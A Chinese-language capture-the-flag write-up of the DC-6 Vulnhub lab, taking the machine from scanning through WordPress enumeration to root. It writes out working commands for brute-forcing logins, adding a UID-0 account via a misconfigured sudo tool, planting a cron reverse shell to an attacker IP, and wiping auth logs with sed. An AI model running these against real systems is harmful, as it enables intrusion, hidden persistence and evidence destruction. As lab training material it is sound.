尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

DC-6靶机渗透实战:从信息收集到权限提升的完整攻击链解析

DC-6靶机渗透实战:从信息收集到权限提升的完整攻击链解析 1. 项目概述与目标设定DC-6是Vulnhub平台上发布的一款基于Linux的渗透测试靶机其核心环境构建在WordPress内容管理系统之上。这个靶机模拟了一个相对真实的网络环境其中包含了从外部信息收集到最终获取系统最高权限root的完整攻击链。对于刚接触渗透测试的新手或者希望巩固Web应用和Linux系统渗透技能的朋友来说DC-6是一个绝佳的实战演练平台。它不像一些纯漏洞堆砌的靶场而是需要你像真正的攻击者一样串联起多个知识点包括但不限于用户枚举、密码爆破、插件漏洞利用、权限提升技巧等。整个过程就像在解一个环环相扣的谜题每一步的发现都为下一步的行动提供了线索。我最初接触DC-6时感觉它很好地平衡了难度和趣味性。它不会用一些生僻的零日漏洞难倒你而是考验你对常见安全问题的理解和工具使用的熟练度。通过攻克它你不仅能熟悉像Nmap、WPScan、Burp Suite、Metasploit这些渗透测试“瑞士军刀”的基本操作更能深刻理解攻击者是如何利用开发运维中的微小疏忽一步步扩大战果最终控制整个系统的。接下来我将以一个攻击者的视角带你完整走一遍渗透流程并重点分享其中容易卡壳的环节和我的解决思路。2. 环境准备与初步侦查在开始任何渗透测试之前搭建一个隔离、可控的测试环境是第一步也是安全从业者的基本素养。我通常使用VMware Workstation来运行靶机和攻击机。你需要从Vulnhub官网下载DC-6的OVA文件并将其导入到虚拟机中。靶机的网络模式我推荐设置为“NAT”或“仅主机模式”这样可以确保它只与你的攻击机通常是Kali Linux处于同一网络不会影响到你的物理主机或其他网络设备。2.1 网络发现与主机识别启动靶机后第一件事就是找到它在网络中的位置。由于我们通常不知道靶机的IP地址所以需要使用网络扫描工具进行发现。这里最经典的工具就是Nmap。首先我们需要确定攻击机自身的IP和网段。在Kali Linux终端中输入ip a或ifconfig命令查看你的网络接口信息。假设我的Kali IP是192.168.1.105那么靶机很可能也在192.168.1.0/24这个网段内。接下来使用Nmap进行存活主机扫描。为了快速发现目标我常用的是ARP扫描因为它速度快且结果准确sudo nmap -sn 192.168.1.0/24-sn参数表示只进行Ping扫描禁用端口扫描目的是快速找出网络中哪些主机是存活的。扫描结果中除了你自己的Kali和网关那个陌生的IP地址很可能就是我们的目标——DC-6靶机。假设我们发现了192.168.1.108。注意有时靶机可能禁用了Ping响应。如果上述命令没有发现未知主机可以尝试使用更激进的扫描方式例如sudo nmap -PS 192.168.1.0/24发送SYN包到80端口但务必确保你拥有对目标网络进行扫描的合法授权。2.2 端口与服务探测找到目标IP后下一步就是进行详细的端口扫描以了解靶机上开放了哪些服务这些服务就是潜在的入口点。我习惯使用Nmap的全面扫描脚本sudo nmap -sV -sC -O -p- 192.168.1.108这个命令参数组合是我个人认为效率最高的-sV: 探测服务版本。知道服务的具体版本号是后续搜索漏洞的关键。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行一些基本的漏洞检测和信息收集有时会有意外收获。-O: 尝试识别操作系统。虽然不一定100%准确但能提供重要参考。-p-: 扫描所有65535个端口。这是关键很多初级测试者只扫描前1000个常见端口可能会错过像高位端口上运行的管理后台等重要服务。扫描完成后你可能会看到类似这样的结果PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10deb9u6 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian)) ...这里明确告诉我们靶机开放了22端口的SSH服务和80端口的HTTP服务。Web服务80端口通常是渗透测试的主战场因为其交互性强暴露的攻击面广。2.3 Web应用初步信息收集既然有HTTP服务我们自然要打开浏览器访问一下http://192.168.1.108。不出意外一个WordPress网站呈现在眼前。这是DC-6的核心。此时我们需要收集关于这个WordPress站点的尽可能多的信息。手动浏览网站查看页面源代码、robots.txt文件都是基础操作。但更高效的方法是使用专门针对WordPress的安全扫描工具——WPScan。WPScan是Kali Linux自带的工具它能够枚举WordPress的用户名、插件、主题并检查已知漏洞。我们先进行一次基本的枚举wpscan --url http://192.168.1.108 --enumerate u--enumerate u参数告诉WPScan枚举用户。这是至关重要的一步因为很多WordPress站点的登录用户名并非完全保密可能通过文章作者链接、RSS源等方式泄露。WPScan会尝试通过常见路径如/wp-json/wp/v2/users/,/author/1/等来获取用户列表。执行后你大概率会得到一个用户列表例如admin,graham,sarah,mark,jens。这些用户名就是我们后续进行密码爆破的“敲门砖”。实操心得WPScan的枚举功能非常依赖目标的路径配置。如果默认路径被修改或屏蔽枚举可能会失败。此时可以尝试手动构造URL访问或者使用--enumerate u --force参数进行更暴力的尝试但要注意可能触发安全警报。3. 漏洞利用与初始访问获得了用户名我们就有了攻击的“半把钥匙”。接下来需要找到对应的密码或者发现其他可以直接利用的漏洞。3.1 密码爆破与SSH登录在DC-6靶机中一个经典的突破口是结合弱密码和已知信息。我们注意到网站底部可能有一句提示或者某个页面上提到了一个可能的密码。假设我们通过信息收集怀疑密码可能与一个叫“rockyou”的常见密码字典或某个具体单词有关。这里我们可以使用Hydra工具对SSH服务进行密码爆破。但更“WordPress”的方式是先尝试爆破Web后台wp-login.php。我们可以使用WPScan的密码爆破功能或者使用Burp Suite的Intruder模块。为了演示通用性这里介绍使用WPScan进行爆破wpscan --url http://192.168.1.108 -U userlist.txt -P /usr/share/wordlists/rockyou.txt-U指定用户名字典文件-P指定密码字典文件。rockyou.txt是Kali中一个非常著名的弱密码字典。然而在DC-6中事情更有趣一些。你可能会发现直接爆破Web后台收效甚微。这时需要转换思路。还记得我们枚举出的用户吗其中一个用户例如mark的密码可能非常弱或者与网站上的某个线索直接相关。一个关键的技巧是尝试用枚举出的所有用户名搭配一个你从网站线索中猜到的简单密码比如helpdesk01进行SSH登录。打开终端直接尝试SSH连接ssh mark192.168.1.108然后输入你猜测的密码。如果运气好在DC-6的设计中这几乎是必然的你会成功登录到靶机的Shell中获得第一个立足点。注意事项在实际渗透测试中SSH爆破需要非常谨慎因为失败的登录尝试会被记录在/var/log/auth.log等日志中极易触发账户锁定或警报。DC-6简化了这一过程但真实环境中可能需要使用更慢速、更隐蔽的爆破方式或者寻找其他入口。3.2 立足点信息收集成功以mark用户身份登录后不要急于进行下一步。先冷静下来收集当前环境的信息这就像侦探勘察现场。查看当前用户权限id命令可以告诉你当前用户属于哪些组这是判断权限高低的第一步。查看可以以root身份执行的命令执行sudo -l。这个命令会列出当前用户可以使用sudo权限执行哪些命令。这是Linux权限提升中信息收集的黄金命令。在DC-6中你可能会发现mark用户可以以root身份执行一个特定的命令比如/home/mark/backups.sh或类似的东西。浏览用户目录ls -la /home/mark/查看家目录下有什么文件。特别是隐藏文件以.开头和脚本文件。查看其他用户目录如果有权限ls -la /home/看看还有哪些用户有时其他用户目录下会有有趣的笔记或配置文件。检查进程和网络连接ps aux查看运行进程netstat -tulnp或ss -tulnp查看网络监听端口也许能发现内部服务。在DC-6中执行sudo -l后输出可能会显示User mark may run the following commands on dc-6: (root) NOPASSWD: /usr/bin/teehee这行信息价值连城它表示mark用户可以不需要密码以root身份运行/usr/bin/teehee这个命令。teehee听起来像是tee命令的某种变体tee命令用于读取标准输入并写入文件和标准输出。这立即为我们指明了一条清晰的权限提升路径。4. 权限提升路径分析在Linux系统中从普通用户提升到root用户权限提升是渗透测试的核心环节之一。DC-6为我们展示了两种典型的提权思路一种是利用配置错误的sudo权限另一种是利用内核漏洞。4.1 利用配置错误的Sudo权限我们已经在sudo -l的结果中发现了线索可以无密码以root身份运行/usr/bin/teehee。现在我们需要研究teehee这个命令是做什么的。首先查看它的帮助信息teehee --help。如果帮助信息显示不全可以用man teehee或直接搜索。通过分析我们发现teehee很可能是一个自定义的、或者名字被修改过的tee命令。tee命令的基本功能是双向重定向即command | tee file会将command的输出既显示在屏幕又写入file文件。关键点在于如果我们能以root身份向一个只有root才能写入的系统文件如/etc/passwd或/etc/sudoers追加内容就能直接修改系统配置添加一个具有root权限的新用户。利用过程如下生成密码我们需要一个用户的密码哈希。可以使用openssl命令生成一个密码为123456的哈希openssl passwd -1 -salt abc 123456这会输出一个类似$1$abc$TkWo5c.Eo2lRcZJYr7LQw0的字符串这是crypt(3)格式的哈希。构造用户行/etc/passwd文件的每一行代表一个用户格式为用户名:密码哈希:UID:GID:描述:家目录:登录shell。我们要添加一个UID为0即root的用户。构造一行evilroot:$1$abc$TkWo5c.Eo2lRcZJYr7LQw0:0:0::/root:/bin/bash使用teehee写入利用sudo权限将这一行追加到/etc/passwd文件echo evilroot:$1$abc$TkWo5c.Eo2lRcZJYr7LQw0:0:0::/root:/bin/bash | sudo /usr/bin/teehee -a /etc/passwd-a参数代表追加append。这条命令以root权限执行因此可以成功修改/etc/passwd。切换用户现在系统中就有了一个用户名为evilroot密码为123456且UID为0的超级用户。直接切换过去su evilroot输入密码123456你就获得了root shell。执行id或whoami确认一下已经是root了。重要警告这是在高度可控的靶机环境中的练习。在真实系统中随意修改/etc/passwd是极其危险且破坏性的行为会严重影响系统稳定性和安全性切勿在生产环境或未经授权的系统中尝试。4.2 内核漏洞提权备选方案虽然通过sudo提权是DC-6设计的主要路径但在实际测试中我们还应具备多手准备。如果sudo -l没有发现可利用点那么检查系统内核版本寻找对应的本地提权漏洞Local Privilege Escalation, LPE是标准流程。查看内核版本uname -a搜索漏洞根据内核版本例如Linux dc-6 4.9.0-...可以在Exploit-DB、GitHub等平台搜索公开的提权EXP。例如著名的Dirty COWCVE-2016-5195就影响了许多旧版本内核。上传并编译EXP在攻击机Kali上找到对应的C语言EXP代码通过Python HTTP服务器或SCP上传到靶机然后在靶机上用gcc编译并运行。获取root shell成功的EXP会利用内核漏洞将当前进程的权限提升到root。在DC-6中由于其内核版本较新常见的公开EXP可能无法直接利用。但这套“信息收集-搜索漏洞-编译执行”的流程是每一位渗透测试者必须掌握的备用技能。它强调了保持漏洞库更新和基础编译能力的重要性。5. 后渗透与痕迹清理获得root权限并非终点。在一个完整的渗透测试演练中我们还需要模拟攻击者维持访问、横向移动如果有多台机器以及清理痕迹的行为。虽然DC-6是单机靶场但我们可以练习一些基础的后渗透动作。5.1 信息深度收集以root身份我们可以访问系统上的所有文件从而收集更深层次的信息查看历史命令cat /root/.bash_history看看管理员做过什么。查看配置文件/etc/shadow存储用户密码哈希/etc/ssh/sshd_configSSH服务配置/var/www/html/wp-config.phpWordPress数据库连接配置内含数据库密码。查找敏感文件使用find命令搜索包含“password”、“key”、“secret”等关键词的文件。find / -type f -name *.php -o -name *.txt -o -name *.conf 2/dev/null | xargs grep -l -i password 2/dev/null转储数据库利用从wp-config.php中找到的数据库密码连接MySQL导出所有数据可能包含用户信息、文章内容等敏感数据。mysql -u wordpressuser -p # 输入密码后 use wordpressdb; show tables; select * from wp_users;5.2 创建持久化后门仅供学习为了模拟攻击者维持访问可以创建一些后门。再次强调仅限靶机环境。添加SSH密钥将你的公钥追加到/root/.ssh/authorized_keys文件中以后就可以无需密码直接SSH登录root。echo \你的公钥内容\ /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys创建计划任务添加一个cron job定期反弹一个shell到你的监听服务器。(crontab -l 2/dev/null; echo \*/5 * * * * /bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01\) | crontab -然后在你的Kali上使用nc -lvnp 4444监听每5分钟就会收到一个反弹shell。5.3 清理日志痕迹一个谨慎的攻击者会尝试抹除自己的活动记录。主要清理的日志文件包括/var/log/auth.log记录认证信息SSH登录尝试等。/var/log/syslog系统主要日志。/var/log/apache2/access.log和error.logWeb访问日志。~/.bash_history当前用户的历史命令。清理方法可以是直接删除日志文件太明显或者使用sed等工具删除包含你IP地址或用户名的特定行。例如从auth.log中删除包含你IP的行sed -i /192.168.1.105/d /var/log/auth.log但需要知道专业的防御方会使用日志服务器syslog实时将日志传输到另一台机器这种本地删除是无效的。这一步主要是为了了解攻击者的完整行为模式。6. 常见问题与排查技巧实录在实战演练DC-6或类似靶机时你可能会遇到一些绊脚石。下面是我总结的一些常见问题及解决方法。6.1 网络连通性问题问题Nmap扫描不到靶机IP。排查确认靶机和攻击机在同一网络模式NAT或Host-Only。在攻击机上ping网关IP确保基础网络通畅。在靶机控制台虚拟机窗口执行ip a手动查看其IP地址。检查虚拟机软件VMware/VirtualBox的虚拟网络编辑器设置确保网卡配置正确。问题能ping通靶机但无法访问80端口。排查使用nmap -p 80 靶机IP确认端口状态是否为open。检查靶机防火墙是否运行systemctl status firewalld或ufw status在靶机Shell中查看。在DC-6中防火墙通常未开启或未阻止80端口。尝试访问http://靶机IP:80有时需要明确指定端口。6.2 工具使用与枚举失败问题WPScan用户枚举失败返回空结果或错误。排查与技巧检查目标URL确保--url参数后的地址正确且网站能正常访问。尝试其他枚举方法WPScan的--enumerate u使用API法。可以尝试暴力枚举wpscan --url http://靶机IP --enumerate u --force。或者手动尝试访问/wp-json/wp/v2/users/和/author/1/等路径。使用代理如果怀疑有WAF拦截可以给WPScan设置代理--proxy http://127.0.0.1:8080并通过Burp Suite观察请求和响应。更新字典和工具执行wpscan --update更新漏洞数据库。确保使用的用户名字典如果有包含常见用户名。问题Hydra或Medusa进行SSH爆破速度极慢或大量失败。技巧降低线程数默认线程数可能过高导致网络不稳定或被靶机拒绝。使用-t 4参数降低并发数。使用更精准的字典不要一上来就用巨大的rockyou.txt。先根据靶机信息如网站内容、用户名构造一个小而精的定制字典。考虑其他协议如果SSH爆破受阻回头看看Web应用是否有登录框用Burp Suite爆破可能更高效。6.3 权限提升受阻问题sudo -l需要输入当前用户密码但你不知道。思路尝试空密码或者用你已破解的该用户密码如果是从Web爆破得来的输入。如果不行这条路径暂时关闭。转向内核漏洞提权。使用LinPEAS或LinEnum等自动化提权脚本。这些脚本可以快速检查系统各种配置错误、敏感文件、SUID文件、计划任务、sudo权限等给出可能的提权建议。将脚本上传到靶机运行能极大提高效率。问题内核EXP编译失败缺少gcc或头文件。解决检查是否安装了gccwhich gcc。如果没有尝试安装apt update apt install gcc -y需要网络和权限。如果靶机无网络可以在攻击机Kali上使用交叉编译工具链编译出适用于靶机架构通常是x86_64的二进制文件再上传执行。例如在Kali上gcc -m64 -static exploit.c -o exploit然后上传exploit。6.4 其他杂项问题问题通过SSH登录后终端显示异常无颜色、提示符乱码。解决这是因为Shell环境问题。可以尝试执行export TERMxterm-256color然后执行bash或reset命令。问题使用su切换用户时提示“认证失败”。排查确认密码正确注意大小写。确认该用户确实存在于/etc/passwd中并且Shell是有效的如/bin/bash而不是/bin/false或/sbin/nologin。如果你是通过修改/etc/passwd添加的用户确保密码哈希格式正确以$id$salt$hash格式存储并且是crypt(3)兼容的。使用openssl passwd -1生成的是MD5哈希$1$现代系统可能支持$6$SHA-512更安全。在DC-6中$1$格式通常可用。攻克DC-6的整个过程就像完成一次小型的安全评估。它系统地训练了从外网信息收集、Web应用攻击到系统权限提升的完整技能链。每个环节的突破都依赖于对上一个环节信息的正确解读和利用。我个人的体会是渗透测试中最重要的不是记住所有工具命令而是培养一种“攻击者思维”永远保持好奇不放过任何细微的线索并善于将不同的信息点连接起来形成可行的攻击路径。当你最终拿到root权限的shell时那种通过自己一步步推理和操作达成目标的成就感正是驱动我们在这个领域不断深入学习的最大动力。
返回列表